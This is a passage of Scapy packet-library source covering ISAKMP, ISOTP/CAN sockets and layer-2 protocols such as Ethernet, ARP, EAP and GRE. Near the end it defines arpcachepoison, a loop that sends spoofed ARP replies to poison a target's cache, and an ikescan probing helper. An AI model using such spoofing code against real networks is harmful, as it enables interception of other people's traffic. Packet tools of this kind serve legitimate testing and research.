"GroupGenerator2":(8, {}, 1), "GroupCurveA": (9, {}, 1), "GroupCurveB": (10, {}, 1), "LifeType": (11, {"Seconds": 1, "Kilobytes": 2, }, 0), "LifeDuration": (12, {}, 1), "PRF": (13, {}, 0), "KeyLength": (14, {}, 0), "FieldSize": (15, {}, 0), "GroupOrder": (16, {}, 1), } # the name 'ISAKMPTransformTypes' is actually a misnomer (since the table # holds info for all ISAKMP Attribute types, not just transforms, but we'll # keep it for backwards compatibility... for now at least ISAKMPTransformTypes = ISAKMPAttributeTypes ISAKMPTransformNum = {} for n in ISAKMPTransformTypes: val = ISAKMPTransformTypes[n] tmp = {} for e in val[1]: tmp[val[1][e]] = e ISAKMPTransformNum[val[0]] = (n,tmp, val[2]) del(n) del(e) del(tmp) del(val) class ISAKMPTransformSetField(StrLenField): islist=1 #def type2num(self, (typ,val)): def type2num(self, typval): typ = typval[0] val = typval[1] type_val,enc_dict,tlv = ISAKMPTransformTypes.get(typval[0], (typval[0],{},0)) val = enc_dict.get(val, val) s = b"" if (val & ~0xffff): if not tlv: warning("%r should not be TLV but is too big => using TLV encoding" % typval[0]) n = 0 while val: s = bytes([(val&0xff)])+s val >>= 8 n += 1 val = n else: type_val |= 0x8000 return struct.pack("!HH",type_val, val)+s def num2type(self, typ, enc): val = ISAKMPTransformNum.get(typ,(typ,{})) enc = val[1].get(enc,enc) return (val[0],enc) def i2m(self, pkt, i): if i is None: return b"" i = map(self.type2num, i) return b"".join(i) def m2i(self, pkt, m): # I try to ensure that we don't read off the end of our packet based # on bad length fields we're provided in the packet. There are still # conditions where struct.unpack() may not get enough packet data, but # worst case that should result in broken attributes (which would # be expected). (wam) lst = [] while len(m) >= 4: trans_type, = struct.unpack("!H", m[:2]) is_tlv = not (trans_type & 0x8000) if is_tlv: # We should probably check to make sure the attribute type we # are looking at is allowed to have a TLV format and issue a # warning if we're given an TLV on a basic attribute. value_len, = struct.unpack("!H", m[2:4]) if value_len+4 > len(m): warning("Bad length for ISAKMP tranform type=%#6x" % trans_type) value = m[4:4+value_len] r = 0 for i in struct.unpack("!%s" % ("B"*len(value),), value): r = (r << 8) | i value = r #value = reduce(lambda x,y: (x<<8)|y, struct.unpack("!%s" % ("B"*len(value),), value),0) else: trans_type &= 0x7fff value_len=0 value, = struct.unpack("!H", m[2:4]) m=m[4+value_len:] lst.append(self.num2type(trans_type, value)) if len(m) > 0: warning("Extra bytes after ISAKMP transform dissection [%r]" % m) return lst ISAKMP_payload_type = ["None","SA","Proposal","Transform","KE","ID","CERT","CR","Hash", "SIG","Nonce","Notification","Delete","VendorID"] ISAKMP_exchange_type = ["None","base","identity prot.", "auth only", "aggressive", "info"] class ISAKMP_class(Packet): def guess_payload_class(self, payload): np = self.next_payload if np == 0: return conf.raw_layer elif np < len(ISAKMP_payload_type): pt = ISAKMP_payload_type[np] return globals().get("ISAKMP_payload_%s" % pt, ISAKMP_payload) else: return ISAKMP_payload class ISAKMP(ISAKMP_class): # rfc2408 name = "ISAKMP" fields_desc = [ StrFixedLenField("init_cookie","",8), StrFixedLenField("resp_cookie","",8), ByteEnumField("next_payload",0,ISAKMP_payload_type), XByteField("version",0x10), ByteEnumField("exch_type",0,ISAKMP_exchange_type), FlagsField("flags",0, 8, ["encryption","commit","auth_only","res3","res4","res5","res6","res7"]), # XXX use a Flag field IntField("id",0), IntField("length",None) ] def guess_payload_class(self, payload): if self.flags & 1: return conf.raw_layer return ISAKMP_class.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, ISAKMP): if other.init_cookie == self.init_cookie: return 1 return 0 def post_build(self, p, pay): p += pay if self.length is None: p = p[:24]+struct.pack("!I",len(p))+p[28:] return p class ISAKMP_payload_Transform(ISAKMP_class): name = "IKE Transform" fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), # ShortField("len",None), ShortField("length",None), ByteField("num",None), ByteEnumField("id",1,{1:"KEY_IKE"}), ShortField("res2",0), ISAKMPTransformSetField("transforms",None,length_from=lambda x:x.length-8) # XIntField("enc",0x80010005L), # XIntField("hash",0x80020002L), # XIntField("auth",0x80030001L), # XIntField("group",0x80040002L), # XIntField("life_type",0x800b0001L), # XIntField("durationh",0x000c0004L), # XIntField("durationl",0x00007080L), ] def post_build(self, p, pay): if self.length is None: l = len(p) p = p[:2]+bytes([((l>>8)&0xff),(l&0xff)])+p[4:] p += pay return p class ISAKMP_payload_Proposal(ISAKMP_class): name = "IKE proposal" # ISAKMP_payload_type = 0 fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"trans","H", adjust=lambda pkt,x:x+8), ByteField("proposal",1), ByteEnumField("proto",1,{1:"ISAKMP"}), FieldLenField("SPIsize",None,"SPI","B"), ByteField("trans_nb",None), StrLenField("SPI","",length_from=lambda x:x.SPIsize), PacketLenField("trans",conf.raw_layer(),ISAKMP_payload_Transform,length_from=lambda x:x.length-8), ] class ISAKMP_payload(ISAKMP_class): name = "ISAKMP payload" fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_VendorID(ISAKMP_class): name = "ISAKMP Vendor ID" overload_fields = { ISAKMP: { "next_payload":13 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"vendorID","H", adjust=lambda pkt,x:x+4), StrLenField("vendorID","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_SA(ISAKMP_class): name = "ISAKMP SA" overload_fields = { ISAKMP: { "next_payload":1 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"prop","H", adjust=lambda pkt,x:x+12), IntEnumField("DOI",1,{1:"IPSEC"}), IntEnumField("situation",1,{1:"identity"}), PacketLenField("prop",conf.raw_layer(),ISAKMP_payload_Proposal,length_from=lambda x:x.length-12), ] class ISAKMP_payload_Nonce(ISAKMP_class): name = "ISAKMP Nonce" overload_fields = { ISAKMP: { "next_payload":10 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_KE(ISAKMP_class): name = "ISAKMP Key Exchange" overload_fields = { ISAKMP: { "next_payload":4 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_ID(ISAKMP_class): name = "ISAKMP Identification" overload_fields = { ISAKMP: { "next_payload":5 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+8), ByteEnumField("IDtype",1,{1:"IPv4_addr", 11:"Key"}), ByteEnumField("ProtoID",0,{0:"Unused"}), ShortEnumField("Port",0,{0:"Unused"}), # IPField("IdentData","127.0.0.1"), StrLenField("load","",length_from=lambda x:x.length-8), ] class ISAKMP_payload_Hash(ISAKMP_class): name = "ISAKMP Hash" overload_fields = { ISAKMP: { "next_payload":8 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] ISAKMP_payload_type_overload = {} for i in range(len(ISAKMP_payload_type)): name = "ISAKMP_payload_%s" % ISAKMP_payload_type[i] if name in globals(): ISAKMP_payload_type_overload[globals()[name]] = {"next_payload":i} del(i) del(name) ISAKMP_class.overload_fields = ISAKMP_payload_type_overload.copy() bind_layers( UDP, ISAKMP, dport=500, sport=500) def ikescan(ip): return sr(IP(dst=ip)/UDP()/ISAKMP(init_cookie=RandString(8), exch_type=2)/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())) scapy-0.23/scapy/layers/isotp.py000066400000000000000000000310161320561231000166750ustar00rootroot00000000000000#! /usr/bin/env python ## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Nils Weiss ## This program is published under a GPLv2 license """ ISOTPSocket. """ import ctypes import sys from ctypes.util import find_library from scapy.packet import * from scapy.fields import * from scapy.supersocket import SuperSocket from scapy.sendrecv import sndrcv, sniff from scapy.arch.linux import get_last_packet_timestamp, SIOCGIFINDEX import socket if not sys.platform.startswith("win32"): libc = ctypes.cdll.LoadLibrary(find_library("c")) warning("Loading libc with ctypes") else: warning("libc is unavailable") libc = None """ ISOTP Packet """ class ISOTP(Packet): name = 'ISOTP' fields_desc = [ StrField('data', B"") ] def hashret(self): """DEV: returns a string that has the same value for a request and its answer.""" return self.payload.hashret() def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return self.payload.answers(other.payload) return 0 ############ ## Consts ## ############ CAN_MTU = 16 CAN_MAX_DLEN = 8 CAN_ISOTP = 6 # ISO 15765-2 Transport Protocol SOL_CAN_ISOTP = (socket.SOL_CAN_BASE + CAN_ISOTP) ##/* for socket options affecting the socket (not the global system) */ CAN_ISOTP_OPTS = 1 # /* pass struct can_isotp_options */ CAN_ISOTP_RECV_FC = 2 # /* pass struct can_isotp_fc_options */ ##/* sockopts to force stmin timer values for protocol regression tests */ CAN_ISOTP_TX_STMIN = 3 # /* pass __u32 value in nano secs */ CAN_ISOTP_RX_STMIN = 4 # /* pass __u32 value in nano secs */ CAN_ISOTP_LL_OPTS = 5 # /* pass struct can_isotp_ll_options */ CAN_ISOTP_LISTEN_MODE = 0x001 # /* listen only (do not send FC) */ CAN_ISOTP_EXTEND_ADDR = 0x002 # /* enable extended addressing */ CAN_ISOTP_TX_PADDING = 0x004 # /* enable CAN frame padding tx path */ CAN_ISOTP_RX_PADDING = 0x008 # /* enable CAN frame padding rx path */ CAN_ISOTP_CHK_PAD_LEN = 0x010 # /* check received CAN frame padding */ CAN_ISOTP_CHK_PAD_DATA = 0x020 # /* check received CAN frame padding */ CAN_ISOTP_HALF_DUPLEX = 0x040 # /* half duplex error state handling */ CAN_ISOTP_FORCE_TXSTMIN = 0x080 # /* ignore stmin from received FC */ CAN_ISOTP_FORCE_RXSTMIN = 0x100 # /* ignore CFs depending on rx stmin */ CAN_ISOTP_RX_EXT_ADDR = 0x200 # /* different rx extended addressing */ # /* default values */ CAN_ISOTP_DEFAULT_FLAGS = 0 CAN_ISOTP_DEFAULT_EXT_ADDRESS = 0x00 CAN_ISOTP_DEFAULT_PAD_CONTENT = 0xCC # /* prevent bit-stuffing */ CAN_ISOTP_DEFAULT_FRAME_TXTIME = 0 CAN_ISOTP_DEFAULT_RECV_BS = 0 CAN_ISOTP_DEFAULT_RECV_STMIN = 0x00 CAN_ISOTP_DEFAULT_RECV_WFTMAX = 0 CAN_ISOTP_DEFAULT_LL_MTU = CAN_MTU CAN_ISOTP_DEFAULT_LL_TX_DL = CAN_MAX_DLEN CAN_ISOTP_DEFAULT_LL_TX_FLAGS = 0 class SOCKADDR(ctypes.Structure): # See /usr/include/i386-linux-gnu/bits/socket.h for original struct _fields_ = [("sa_family", ctypes.c_uint16), ("sa_data", ctypes.c_char * 14)] class TP(ctypes.Structure): # This struct is only used within the SOCKADDR_CAN struct _fields_ = [("rx_id", ctypes.c_uint32), ("tx_id", ctypes.c_uint32)] class ADDR_INFO(ctypes.Union): # This struct is only used within the SOCKADDR_CAN struct # This union is to future proof for future can address information _fields_ = [("tp", TP)] class SOCKADDR_CAN(ctypes.Structure): # See /usr/include/linux/can.h for original struct _fields_ = [("can_family", ctypes.c_uint16), ("can_ifindex", ctypes.c_int), ("can_addr", ADDR_INFO)] class IFREQ(ctypes.Structure): # The two fields in this struct were originally unions. # See /usr/include/net/if.h for original struct _fields_ = [("ifr_name", ctypes.c_char * 16), ("ifr_ifindex", ctypes.c_int)] class ISOTPSocket(SuperSocket): desc = "read/write packets at a given CAN interface using CAN_ISOTP sockets" can_isotp_options_fmt = "@2I4B" can_isotp_fc_options_fmt = "@3B" can_isotp_ll_options_fmt = "@3B" sockaddr_can_fmt = "@H3I" def __build_can_isotp_options(self, flags=CAN_ISOTP_DEFAULT_FLAGS, frame_txtime=0, ext_address=CAN_ISOTP_DEFAULT_EXT_ADDRESS, txpad_content=0, rxpad_content=0, rx_ext_address=CAN_ISOTP_DEFAULT_EXT_ADDRESS): return struct.pack(self.can_isotp_options_fmt, flags, frame_txtime, ext_address, txpad_content, rxpad_content, rx_ext_address) # == Must use native not standard types for packing == # struct can_isotp_options { # __u32 flags; /* set flags for isotp behaviour. */ # /* __u32 value : flags see below */ # # __u32 frame_txtime; /* frame transmission time (N_As/N_Ar) */ # /* __u32 value : time in nano secs */ # # __u8 ext_address; /* set address for extended addressing */ # /* __u8 value : extended address */ # # __u8 txpad_content; /* set content of padding byte (tx) */ # /* __u8 value : content on tx path */ # # __u8 rxpad_content; /* set content of padding byte (rx) */ # /* __u8 value : content on rx path */ # # __u8 rx_ext_address; /* set address for extended addressing */ # /* __u8 value : extended address (rx) */ # }; def __build_can_isotp_fc_options(self, bs=CAN_ISOTP_DEFAULT_RECV_BS, stmin=CAN_ISOTP_DEFAULT_RECV_STMIN, wftmax=CAN_ISOTP_DEFAULT_RECV_WFTMAX): return struct.pack(self.can_isotp_fc_options_fmt, bs, stmin, wftmax) # == Must use native not standard types for packing == # struct can_isotp_fc_options { # # __u8 bs; /* blocksize provided in FC frame */ # /* __u8 value : blocksize. 0 = off */ # # __u8 stmin; /* separation time provided in FC frame */ # /* __u8 value : */ # /* 0x00 - 0x7F : 0 - 127 ms */ # /* 0x80 - 0xF0 : reserved */ # /* 0xF1 - 0xF9 : 100 us - 900 us */ # /* 0xFA - 0xFF : reserved */ # # __u8 wftmax; /* max. number of wait frame transmiss. */ # /* __u8 value : 0 = omit FC N_PDU WT */ # }; def __build_can_isotp_ll_options(self, mtu=CAN_ISOTP_DEFAULT_LL_MTU, tx_dl=CAN_ISOTP_DEFAULT_LL_TX_DL, tx_flags=CAN_ISOTP_DEFAULT_LL_TX_FLAGS): return struct.pack(self.can_isotp_ll_options_fmt, mtu, tx_dl, tx_flags) # == Must use native not standard types for packing == # struct can_isotp_ll_options { # # __u8 mtu; /* generated & accepted CAN frame type */ # /* __u8 value : */ # /* CAN_MTU (16) -> standard CAN 2.0 */ # /* CANFD_MTU (72) -> CAN FD frame */ # # __u8 tx_dl; /* tx link layer data length in bytes */ # /* (configured maximum payload length) */ # /* __u8 value : 8,12,16,20,24,32,48,64 */ # /* => rx path supports all LL_DL values */ # # __u8 tx_flags; /* set into struct canfd_frame.flags */ # /* at frame creation: e.g. CANFD_BRS */ # /* Obsolete when the BRS flag is fixed */ # /* by the CAN netdriver configuration */ # }; def __getSockIfreq(self, sock, iface): socketID = ctypes.c_int(sock.fileno()) ifr = IFREQ() ifr.ifr_name = iface.encode('ascii') ret = libc.ioctl(socketID, SIOCGIFINDEX, ctypes.byref(ifr)) if ret < 0: m = u'Failure while getting "{}" interface index.'.format(iface) raise Scapy_Exception(m) return ifr def __bindSocket(self, sock, iface, sid, did): socketID = ctypes.c_int(sock.fileno()) ifr = self.__getSockIfreq(sock, iface) if sid > 0x7ff: sid = sid | socket.CAN_EFF_FLAG if did > 0x7ff: did = did | socket.CAN_EFF_FLAG # select the CAN interface and bind the socket to it addr = SOCKADDR_CAN(ctypes.c_uint16(socket.PF_CAN), ifr.ifr_ifindex, ADDR_INFO(TP(ctypes.c_uint32(sid), ctypes.c_uint32(did)))) error = libc.bind(socketID, ctypes.byref(addr), ctypes.sizeof(addr)) if error < 0: warning("Couldn't bind socket") def __setOptionFlags(self, sock, extended_addr=None, extended_rx_addr=None, listen_only=False): option_flags = CAN_ISOTP_DEFAULT_FLAGS if extended_addr is not None: option_flags = option_flags | CAN_ISOTP_EXTEND_ADDR else: extended_addr = CAN_ISOTP_DEFAULT_EXT_ADDRESS if extended_rx_addr is not None: option_flags = option_flags | CAN_ISOTP_RX_EXT_ADDR else: extended_rx_addr = CAN_ISOTP_DEFAULT_EXT_ADDRESS if listen_only: option_flags = option_flags | CAN_ISOTP_LISTEN_MODE sock.setsockopt(SOL_CAN_ISOTP, CAN_ISOTP_OPTS, self.__build_can_isotp_options(flags=option_flags, ext_address=extended_addr, rx_ext_address=extended_rx_addr)) def __init__(self, iface=None, sid=0, did=0, extended_addr=None, extended_rx_addr=None, listen_only=False, basecls=ISOTP): if iface is None: iface = conf.CANiface self.ins = socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, CAN_ISOTP) self.__setOptionFlags(self.ins, extended_addr, extended_rx_addr, listen_only) self.ins.setsockopt(SOL_CAN_ISOTP, CAN_ISOTP_RECV_FC, self.__build_can_isotp_fc_options()) self.ins.setsockopt(SOL_CAN_ISOTP, CAN_ISOTP_LL_OPTS, self.__build_can_isotp_ll_options()) self.__bindSocket(self.ins, iface, sid, did) self.outs = self.ins if basecls is None: warning('Provide a basecls ') self.basecls = basecls def recv(self, x=0xffff): try: pkt, sa_ll = self.ins.recvfrom(x) except BlockingIOError: warning('Captured no data, socket in non-blocking mode.') return None except socket.timeout: warning('Captured no data, socket read timed out.') return None except OSError: # something bad happened (e.g. the interface went down) warning("Captured no data.") return None q = self.basecls(pkt) q.time = get_last_packet_timestamp(self.ins) return q def send(self, x): if hasattr(x, "sent_time"): x.sent_time = time.time() return self.outs.send(bytes(x)) def sr(self, *args, **kargs): return sndrcv(self, *args, **kargs) def sr1(self, *args, **kargs): a, b = sndrcv(self, *args, **kargs) if len(a) > 0: return a[0][1] else: return None def sniff(self, *args, **kargs): return sniff(opened_socket=self, *args, **kargs) scapy-0.23/scapy/layers/l2.py000066400000000000000000000446221320561231000160630ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Classes and functions for layer 2 protocols. """ import os,struct,time from scapy.base_classes import Net from scapy.config import conf from scapy.packet import * from scapy.ansmachine import * from scapy.plist import SndRcvList from scapy.fields import * from scapy.sendrecv import srp,srp1 from scapy.arch import get_if_hwaddr ################# ## Tools ## ################# class Neighbor: def __init__(self): self.resolvers = {} def register_l3(self, l2, l3, resolve_method): self.resolvers[l2,l3]=resolve_method def resolve(self, l2inst, l3inst): k = l2inst.__class__,l3inst.__class__ if k in self.resolvers: return self.resolvers[k](l2inst,l3inst) def __repr__(self): return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2,l3 in self.resolvers) conf.neighbor = Neighbor() conf.netcache.new_cache("arp_cache", 120) # cache entries expire after 120s @conf.commands.register def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip,Net): ip = next(iter(ip)) ip = inet_ntoa(inet_aton(ip)) tmp = inet_aton(ip) if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3]) iff,a,gw = conf.route.route(ip) if ( (iff == "lo") or (ip == conf.route.get_if_bcast(iff)) ): return "ff:ff:ff:ff:ff:ff" if gw != "0.0.0.0": ip = gw mac = conf.netcache.arp_cache.get(ip) if mac: return mac res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface = iff, timeout=2, verbose=0, chainCC=chainCC, nofilter=1) if res is not None: mac = res.payload.hwsrc conf.netcache.arp_cache[ip] = mac return mac return None ### Fields class DestMACField(MACField): def __init__(self, name): MACField.__init__(self, name, None) def i2h(self, pkt, x): if x is None: x = conf.neighbor.resolve(pkt,pkt.payload) if x is None: x = "ff:ff:ff:ff:ff:ff" warning("Mac address to reach destination not found. Using broadcast.") return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) class SourceMACField(MACField): def __init__(self, name): MACField.__init__(self, name, None) def i2h(self, pkt, x): if x is None: iff,a,gw = pkt.payload.route() if iff: try: x = get_if_hwaddr(iff) except: pass if x is None: x = "00:00:00:00:00:00" return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) class ARPSourceMACField(MACField): def __init__(self, name): MACField.__init__(self, name, None) def i2h(self, pkt, x): if x is None: iff,a,gw = pkt.route() if iff: try: x = get_if_hwaddr(iff) except: pass if x is None: x = "00:00:00:00:00:00" return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) ### Layers class Ether(Packet): name = "Ethernet" fields_desc = [ DestMACField("dst"), SourceMACField("src"), XShortEnumField("type", 0x9000, ETHER_TYPES) ] def hashret(self): return struct.pack("H",self.type)+self.payload.hashret() def answers(self, other): if isinstance(other,Ether): if self.type == other.type: return self.payload.answers(other.payload) return 0 def mysummary(self): return self.sprintf("%src% > %dst% (%type%)") @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 14: if struct.unpack("!H", _pkt[12:14])[0] <= 1500: return Dot3 return cls class Dot3(Packet): name = "802.3" fields_desc = [ DestMACField("dst"), MACField("src", ETHER_ANY), LenField("len", None, "H") ] def extract_padding(self,s): l = self.len return s[:l],s[l:] def answers(self, other): if isinstance(other,Dot3): return self.payload.answers(other.payload) return 0 def mysummary(self): return "802.3 %s > %s" % (self.src, self.dst) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 14: if struct.unpack("!H", _pkt[12:14])[0] > 1500: return Ether return cls class LLC(Packet): name = "LLC" fields_desc = [ XByteField("dsap", 0x00), XByteField("ssap", 0x00), ByteField("ctrl", 0) ] conf.neighbor.register_l3(Ether, LLC, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload)) conf.neighbor.register_l3(Dot3, LLC, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload)) class CookedLinux(Packet): name = "cooked linux" fields_desc = [ ShortEnumField("pkttype",0, {0: "unicast", 4:"sent-by-us"}), #XXX incomplete XShortField("lladdrtype",512), ShortField("lladdrlen",0), StrFixedLenField("src","",8), XShortEnumField("proto",0x800,ETHER_TYPES) ] class SNAP(Packet): name = "SNAP" fields_desc = [ X3BytesField("OUI",0x000000), XShortEnumField("code", 0x000, ETHER_TYPES) ] conf.neighbor.register_l3(Dot3, SNAP, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload)) class Dot1Q(Packet): name = "802.1Q" aliastypes = [ Ether ] fields_desc = [ BitField("prio", 0, 3), BitField("id", 0, 1), BitField("vlan", 1, 12), XShortEnumField("type", 0x0000, ETHER_TYPES) ] def answers(self, other): if isinstance(other,Dot1Q): if ( (self.type == other.type) and (self.vlan == other.vlan) ): return self.payload.answers(other.payload) else: return self.payload.answers(other) return 0 def default_payload_class(self, pay): if self.type <= 1500: return LLC return conf.raw_layer def extract_padding(self,s): if self.type <= 1500: return s[:self.type],s[self.type:] return s,None def mysummary(self): if isinstance(self.underlayer, Ether): return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%") else: return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%") conf.neighbor.register_l3(Ether, Dot1Q, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload)) class STP(Packet): name = "Spanning Tree Protocol" fields_desc = [ ShortField("proto", 0), ByteField("version", 0), ByteField("bpdutype", 0), ByteField("bpduflags", 0), ShortField("rootid", 0), MACField("rootmac", ETHER_ANY), IntField("pathcost", 0), ShortField("bridgeid", 0), MACField("bridgemac", ETHER_ANY), ShortField("portid", 0), BCDFloatField("age", 1), BCDFloatField("maxage", 20), BCDFloatField("hellotime", 2), BCDFloatField("fwddelay", 15) ] class EAPOL(Packet): name = "EAPOL" fields_desc = [ ByteField("version", 1), ByteEnumField("type", 0, ["EAP_PACKET", "START", "LOGOFF", "KEY", "ASF"]), LenField("len", None, "H") ] EAP_PACKET= 0 START = 1 LOGOFF = 2 KEY = 3 ASF = 4 def extract_padding(self, s): l = self.len return s[:l],s[l:] def hashret(self): #return chr(self.type)+self.payload.hashret() return bytes([self.type])+self.payload.hashret() def answers(self, other): if isinstance(other,EAPOL): if ( (self.type == self.EAP_PACKET) and (other.type == self.EAP_PACKET) ): return self.payload.answers(other.payload) return 0 def mysummary(self): return self.sprintf("EAPOL %EAPOL.type%") class EAP(Packet): name = "EAP" fields_desc = [ ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}), ByteField("id", 0), ShortField("len",None), ConditionalField(ByteEnumField("type",0, {1:"ID",4:"MD5"}), lambda pkt:pkt.code not in [EAP.SUCCESS, EAP.FAILURE]) ] REQUEST = 1 RESPONSE = 2 SUCCESS = 3 FAILURE = 4 TYPE_ID = 1 TYPE_MD5 = 4 def answers(self, other): if isinstance(other,EAP): if self.code == self.REQUEST: return 0 elif self.code == self.RESPONSE: if ( (other.code == self.REQUEST) and (other.type == self.type) ): return 1 elif other.code == self.RESPONSE: return 1 return 0 def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:2]+bytes([((l>>8)&0xff),(l&0xff)])+p[4:] return p+pay class ARP(Packet): name = "ARP" fields_desc = [ XShortField("hwtype", 0x0001), XShortEnumField("ptype", 0x0800, ETHER_TYPES), ByteField("hwlen", 6), ByteField("plen", 4), ShortEnumField("op", 1, {"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6, "Dyn-RARP-err":7, "InARP-req":8, "InARP-rep":9}), ARPSourceMACField("hwsrc"), SourceIPField("psrc","pdst"), MACField("hwdst", ETHER_ANY), IPField("pdst", "0.0.0.0") ] who_has = 1 is_at = 2 def answers(self, other): if isinstance(other,ARP): if ( (self.op == self.is_at) and (other.op == self.who_has) and (self.psrc == other.pdst) ): return 1 return 0 def route(self): dst = self.pdst if isinstance(dst,Gen): dst = next(iter(dst)) return conf.route.route(dst) def extract_padding(self, s): return b"",s def mysummary(self): if self.op == self.is_at: return self.sprintf("ARP is at %hwsrc% says %psrc%") elif self.op == self.who_has: return self.sprintf("ARP who has %pdst% says %psrc%") else: return self.sprintf("ARP %op% %psrc% > %pdst%") conf.neighbor.register_l3(Ether, ARP, lambda l2,l3: getmacbyip(l3.pdst)) class GRErouting(Packet): name = "GRE routing informations" fields_desc = [ ShortField("address_family",0), ByteField("SRE_offset", 0), FieldLenField("SRE_len", None, "routing_info", "B"), StrLenField("routing_info", "", "SRE_len"), ] class GRE(Packet): name = "GRE" fields_desc = [ BitField("chksum_present",0,1), BitField("routing_present",0,1), BitField("key_present",0,1), BitField("seqnum_present",0,1), BitField("strict_route_source",0,1), BitField("recursion_control",0,3), BitField("flags",0,5), BitField("version",0,3), XShortEnumField("proto", 0x0000, ETHER_TYPES), ConditionalField(XShortField("chksum",None), lambda pkt:pkt.chksum_present==1 or pkt.routing_present==1), ConditionalField(XShortField("offset",None), lambda pkt:pkt.chksum_present==1 or pkt.routing_present==1), ConditionalField(XIntField("key",None), lambda pkt:pkt.key_present==1), ConditionalField(XIntField("seqence_number",None), lambda pkt:pkt.seqnum_present==1), ] def post_build(self, p, pay): p += pay if self.chksum_present and self.chksum is None: c = checksum(p) p = p[:4]+bytes([((c>>8)&0xff),(c&0xff)])+p[6:] return p bind_layers( Dot3, LLC, ) bind_layers( Ether, LLC, type=122) bind_layers( Ether, Dot1Q, type=33024) bind_layers( Ether, Ether, type=1) bind_layers( Ether, ARP, type=2054) bind_layers( Ether, EAPOL, type=34958) bind_layers( Ether, EAPOL, dst='01:80:c2:00:00:03', type=34958) bind_layers( CookedLinux, LLC, proto=122) bind_layers( CookedLinux, Dot1Q, proto=33024) bind_layers( CookedLinux, Ether, proto=1) bind_layers( CookedLinux, ARP, proto=2054) bind_layers( CookedLinux, EAPOL, proto=34958) bind_layers( GRE, LLC, proto=122) bind_layers( GRE, Dot1Q, proto=33024) bind_layers( GRE, Ether, proto=1) bind_layers( GRE, ARP, proto=2054) bind_layers( GRE, EAPOL, proto=34958) bind_layers( GRE, GRErouting, { "routing_present" : 1 } ) bind_layers( GRErouting, conf.raw_layer,{ "address_family" : 0, "SRE_len" : 0 }) bind_layers( GRErouting, GRErouting, { } ) bind_layers( EAPOL, EAP, type=0) bind_layers( LLC, STP, dsap=66, ssap=66, ctrl=3) bind_layers( LLC, SNAP, dsap=170, ssap=170, ctrl=3) bind_layers( SNAP, Dot1Q, code=33024) bind_layers( SNAP, Ether, code=1) bind_layers( SNAP, ARP, code=2054) bind_layers( SNAP, EAPOL, code=34958) bind_layers( SNAP, STP, code=267) conf.l2types.register(ARPHDR_ETHER, Ether) conf.l2types.register_num2layer(ARPHDR_METRICOM, Ether) conf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether) conf.l2types.register_layer2num(ARPHDR_ETHER, Dot3) conf.l2types.register(144, CookedLinux) # called LINUX_IRDA, similar to CookedLinux conf.l2types.register(113, CookedLinux) conf.l3types.register(ETH_P_ARP, ARP) ### Technics @conf.commands.register def arpcachepoison(target, victim, interval=60): """Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None """ tmac = getmacbyip(target) p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target) try: while 1: sendp(p, iface_hint=target) if conf.verb > 1: os.write(1,b".") time.sleep(interval) except KeyboardInterrupt: pass class ARPingResult(SndRcvList): def __init__(self, res=None, name="ARPing", stats=None): SndRcvList.__init__(self, res, 